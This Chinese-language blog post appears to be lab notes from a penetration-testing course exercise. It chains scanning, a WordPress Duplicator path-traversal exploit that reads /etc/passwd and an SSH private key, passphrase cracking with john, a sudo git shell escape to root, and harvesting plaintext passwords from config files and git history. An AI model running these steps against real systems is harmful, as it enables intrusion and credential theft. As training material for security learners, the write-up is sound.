BEYOND 公司之滲透測試(1) - 互動式登入與提權

 BEYOND 公司之滲透測試(1)

互動式登入與提權


目標 : 攻破 AD 獲取 Domain Admin 權限

初步得知的對外網路,一台 Web Server、一台 Mail Server



kali 機針對此次的滲透測試建立好獨立的路徑 /home/kali/beyond

然後每一台機器建立一個資料匣,並預先建立使用者、密碼、憑證清單




LAB 機器說明(注意,不同時期第三碼時有不同,皆以最後一碼表示該機器)

 - VM1 (172.16.94.240)

 - VM2 (172.16.94.241)

 - VM3 - MAILSRV1 (192.168.208.242)

 - VM4 (172.16.94.243)

 - VM5 - WEBSRV1 (192.168.208.244)

 - VM6 - WINPREP (192.168.208.250); 並提供一組帳號密碼 offsec /lab


第一步對 MAILSRV1(192.168.208.242) 進行掃描

└─$ rustscan -a 192.168.208.242 --scripts none --ulimit 5000





掃完後針對有開放的 Port 進行 nmap 帶 -sCV 參數掃描,然後 -oN 參數寫到檔案

└─$ sudo nmap -sC -sV -p 25,80,110,135,139,143,445,587,5985,47001,49664,49665,49666,49668,49669,49670,49667 -oN mailsrv1/nmap 192.168.208.242

5 位數 High Port 幾乎都是 RPC,其他列舉如下

 - 25 : hMailServer SMTP

 - 80 : IIS/10.0

 - 110 : hMailServer POP3

 - 135 : RPC

 - 139 : NetBIOS

 - 143 : hMailServer IMAP

 - 445 : SMB

 - 587 : hMailServer SMTP

 - 5985 / 47001 : Microsoft HTTPAPI httpd 2.0




確定 nmap 結果有寫入到我們指定的路徑,方便我們之後查看




HmailServer 是微軟的免費郵件伺服器,且有幾個 CVE 漏洞如下




Exploit DB 也可以查到部分漏洞利用,但值得注意的是我們在 nmap 的掃描結果中並沒有發現

hMailServer 的版本後,所以即使有漏洞也只能一個一個測試看看




80 Port 開啟來看一下是 IIS 預設的頁面,目前啥都沒有




看到 Web Server 的標準起手式就是給它 gobuster 下去,└─$ gobuster -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt dir -u http://192.168.208.242 -o gobuster -t 150 -x aspx,txt,pdf,config

使用大一點的字典檔並同時搜尋副檔名 aspx、txt、pdf、config 然後寫入檔案 gobuster
遇到沒有結果與死胡同時可以這樣掃,LAB 為了節省時間我們直接使用大眾 common 字典檔
指令改如下,└─$ gobuster -w /usr/share/wordlists/dirb/common.txt dir -u http://192.168.208.242 -o gobuster -t 150 -x aspx,txt,pdf,config,如下圖簡單講就是沒有結果,但看到 Web 還是要掃




接下來將目標放到對外的 WEBSRV1(192.168.208.244),一樣先 rustscan,看來僅有 22/80 Port

└─$ rustscan -a 192.168.208.244 --scripts none --ulimit 5000




下一步 nmap,└─$ sudo nmap -sC -sV -p 22,80 -oN nmap 192.168.208.244

 - 22 : OpenSSH 8.9p1 Ubuntu 3

 - 80 : Apache httpd 2.4.52

從 http-title 來看應該是財務相關網站




將「OpenSSH 8.9p1 Ubuntu 3」字串複製到搜尋引擎中。結果包含指向 Ubuntu Launchpad 網頁的鏈接,其中包含映射到特定 Ubuntu 版本的 OpenSSH 版本資訊列表。在我們的範例中,版本對應到 Jammy Jellyfish,這是 Ubuntu 22.04 的版本名稱,暫時一樣沒啥鳥用(除了暴力破密)

參考連結 : https://launchpad.net/ubuntu/+source/openssh





Exploit DB 看一下 Apache 2.4.52,看來也沒啥鳥用,暫時還沒有發現任何漏洞可利用





開始逛網站吧,非常簡單的網站,一樣暫時沒發現如何下一步




Web 網站標準起手式,gobuster 下去,└─$ gobuster -w /usr/share/wordlists/dirb/common.txt dir -u http://192.168.208.244 -o gobuster -t 150 -x aspx,txt,pdf,config

發現了好玩的字眼 /wp-admin,看來是個 WordPress 網站



http://192.168.208.244/wp-admin 下去看一下真的是 WordPress




└─$ whatweb http://192.168.208.244 看一下是否有 WP 版本號,版本是 WordPress 6.0.2




WPScan 網站 (https://wpscan.com/profile/) 拿一下 API Key




WPScan 下去並寫到檔案吧,wpscan --url http://192.168.208.244 -o wpscan -e vp --api-token [API Token]




簡單看一下 WPScan 有 24 個漏洞可以利用




接著針對外掛 plug-in 進行掃描,wpscan --url http://192.168.208.244 --enumerate p --plugins-detection aggressive -o wpscan-plugin --api-token [API Token] 




逛一下 plug-in 的漏洞,看到這個 duplicator,雖然沒寫版本

但看到尤其顯示 [!] The version is out of date 表示很舊




那就先從該 WP 外掛插件下手試試看吧,利用所學進行搜尋

指令 searchsploit duplicator,看到這種 Unauthenticated 最好,完全不需要事先驗證



那就先 COPY 過來吧,└─$ searchsploit -m 50420 ; └─$ searchsploit -m 49288

其中一個寫了 Metasploit,表示框架是針對 Metasploit 開發的




所以先從 50420 開始下手,cat 50420.py,顯示 CVE-2020-11738.py

URL = arg + "/wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../.." + file

看來是個目錄遍歷利用



看來就直接執行 python3 50420.py http://192.168.208.244 /etc/passwd

獲得兩個 User 帳號 daniela & marcus



先順手記錄下來在 user.txt




由於已知兩個使用者帳號加上目錄遍歷存在,下一步就是 id_rsa Key 檔案

指令 python3 50420.py http://192.168.208.244 /home/daniela/.ssh/id_rsa

python3 50420.py http://192.168.208.244 /home/marcus/.ssh/id_rsa

拿到 daniela 的 id_rsa Key 了,將它複製後存到 kali 一樣取名 id_rsa




記得要先 chmod 600 id_rsa (檔案做完預設是 644,記得改 600 或 700 都可以)




下一步就是測試用該 id_rsa 檔案登入 WEBSRV1(192.168.208.244) 試試看

指令 ssh -i id_rsa daniela@192.168.208.244,結果檔案有加密需要密碼




那就破解 id_rsa 密碼試試看,先用 ssh2john 轉成 hash,ssh2john id_rsa > ssh.hash





再直接用 john 破解 john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash

破解出來了答案是 tequieromucho





再次登入 指令 ssh -i id_rsa daniela@192.168.208.244 並使用密碼 tequieromucho

登入成功了,進入該組織的第一台伺服器了,拿到 inter-active 的第一步

權限是 daniela 一般使用者權限而已





初步登入點機器為 Linux 伺服器,透過在 Linux 自動枚舉的練習

https://your-it-note.blogspot.com/2023/10/linux_3.html 接著使用 linPEAS 自動化 Linux 枚舉腳本

LinPeas 下載 : https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

  • Example: ./linpeas.sh -a > /dev/shm/linpeas.txt

預設在 Kali 中沒有該套件,可以使用上述的連結下載或是線上安裝

指令 : apt update && sudo apt install peass




安裝完畢後路徑會在 /usr/share/peass/linpeas/*




讓我們將要使用的腳本 linpeas.sh COPY 到 websrv1 目錄下

指令 : cp /usr/share/peass/linpeas/linpeas.sh .



從初步入侵的 WEBSRV1(192.168.233.244) 去 kali 下載該腳本

指令 daniela@websrv1:~$ wget http://192.168.45.176/beyond/websrv1/linpeas.sh




執行 ./linpeas.sh -a > linpeas.txt,執行後出現 Permission Deny

ls -la 看了一下,現有帳號不能執行




chmod a+x ./linpeas.sh 先改一下權限再 ls -la 看一下,應該是沒問題了





執行 ./linpeas.sh -a > linpeas.txt,結果跑不完,不知道卡在哪裡

Ctrl+c 先停掉,但看檔案已經枚舉了相關資訊




直接執行 ./linpeas.sh 不加參數 -a 這一次有跑完




改用 ./linpeas.sh >> linpeas2.txt 這一次成功了,看來是 -a 參數問題

看了一下線上文件 -a 是順便暴力破解 root 權限,看來要謹慎使用



先看系統是 Ubuntu 22.04.1 LTS



網路介面,只有一個 ens192,IP 是 192.168.233.244



查找可以 sudo 的應用指令,發現一個 (ALL) NOPASSWD : /usr/bin/git

這表示當前的使用者 daniela 可以直接 sudo 執行該指令而不需要密碼





透過關鍵字 PASSWORD or PASSWD 發現一個在 WORDPRESS 檔案的密碼

帳號 / 密碼 : wordpress / DanielKeyboard3311



先將它記錄到 creds.txt,現在我們擁有兩組帳號與密碼了

記得一併更新 user.txt & password.txt






由於剛剛知道可以執行 git 指令不需要密碼,故看一下 git 相關的檔案如下圖

發現 wordpress 路徑不在一般應用程式預設的 /var/www/html 底下

反而安裝在 /srv/www/wordpress/.git

這也表示伺服器將 wordpress 相關檔案進行 git 同步,使用 git 當作 wordpress 的版控

可以看到僅有 root 權限才能讀取,所以提權是第一步,不然目前無法進一步讀取 git 資料庫



小結一下目前在 WEBSRV1 上收集到的相關資訊

WEBSRV1 運行Ubuntu 22.04,未連接內網。sudoers 檔案包含一個條目,允許 daniela 以提升的權限運行 /usr/bin/git 而無需提供密碼。另外了解到 WordPress 目錄是一個 Git 儲存庫。最後,我們在 WordPress 的資料庫連線設定中獲得了一個明文密碼。 基於此信息,我們可以定義三個潛在的權限升級向量: 

 1. 濫用 sudo 指令/usr/bin/git

 2. 使用 sudo 搜尋 Git 儲存庫

 3. 嘗試使用 WordPress 資料庫密碼存取其他用戶


使用在 Linux 提權學到的先查看 GTFOBins 網站並點選這次要用的 git 指令

https://gtfobins.github.io/gtfobins/git/,查看 SUDO 的方式如下圖





一行一行測,第一個 sudo PAGER='sh -c "exec sh 0<&1"' git -p help 沒有成功




第二個 sudo git -p help config 再輸入 !/bin/sh 然後 id 一下發現是 root 了





但 /bin/sh 這介面不好用,讓我們改輸入 /bin/bash 可以成功,這介面好用多了




提權為 root 後讓我們對剛剛只有 root 權限才能讀取的 git 資料庫下手吧

切換到剛剛查到的路徑 cd /srv/www/wordpress/

然後執行相關 git 指令看一下,指令 : git status、git log

發現共有兩筆 git 同步,第一筆是 initual commit 初始提交

第二筆描述是 [ Removed staging script and internal network access ] 表示移掉 script 跟網路存取

所以我們應該朝第一筆初始提交下手


 


直接先看第二筆相關的異動,指令 git show 612ff5783cc5dbd1e0e008523dba83374a84aaf1

由刪除的 scripts 內容來看,發現了一個使用 sshpass 自動執行任務的方法

這通常用於以非互動式方式為腳本提供密碼 (如下)

-sshpass -p "dqsTwTpZPn#nL" rsync john@192.168.50.245:/current_webapp/ /srv/www/wordpress/

帳號 / 密碼 : john / dqsTwTpZPn#nL




一樣紀錄與更新我們的檔案 user.txt、password.txt、creds.txt




一旦我們獲得了系統的特權存取權限,我們應該再次執行 linPEAS。由於該工具現在可以存取其他使用者和系統的文件,因此它可能會發現以daniela 身份運行時無法存取的敏感資訊和資料

LAB 用不到,但考試中要特別注意



紀錄一下從外網目前的侵入與提權路徑

1. login to WEBSRV1(244) : ssh -i id_rsa daniela@192.168.233.244

2. Password : tequieromucho

3. Elevate privileges : sudo git -p help config --> !/bin/sh


已拿到的帳號密碼

1. offsec / lab

2. wordpress / DanielKeyboard3311

3. john / dqsTwTpZPn#nL


小結 : 拿下 WEBSRV1 與最大權限,並獲的三組帳號密碼

第一階段到此結束,下一篇延續第一階段開始進入第二階段的筆記

留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)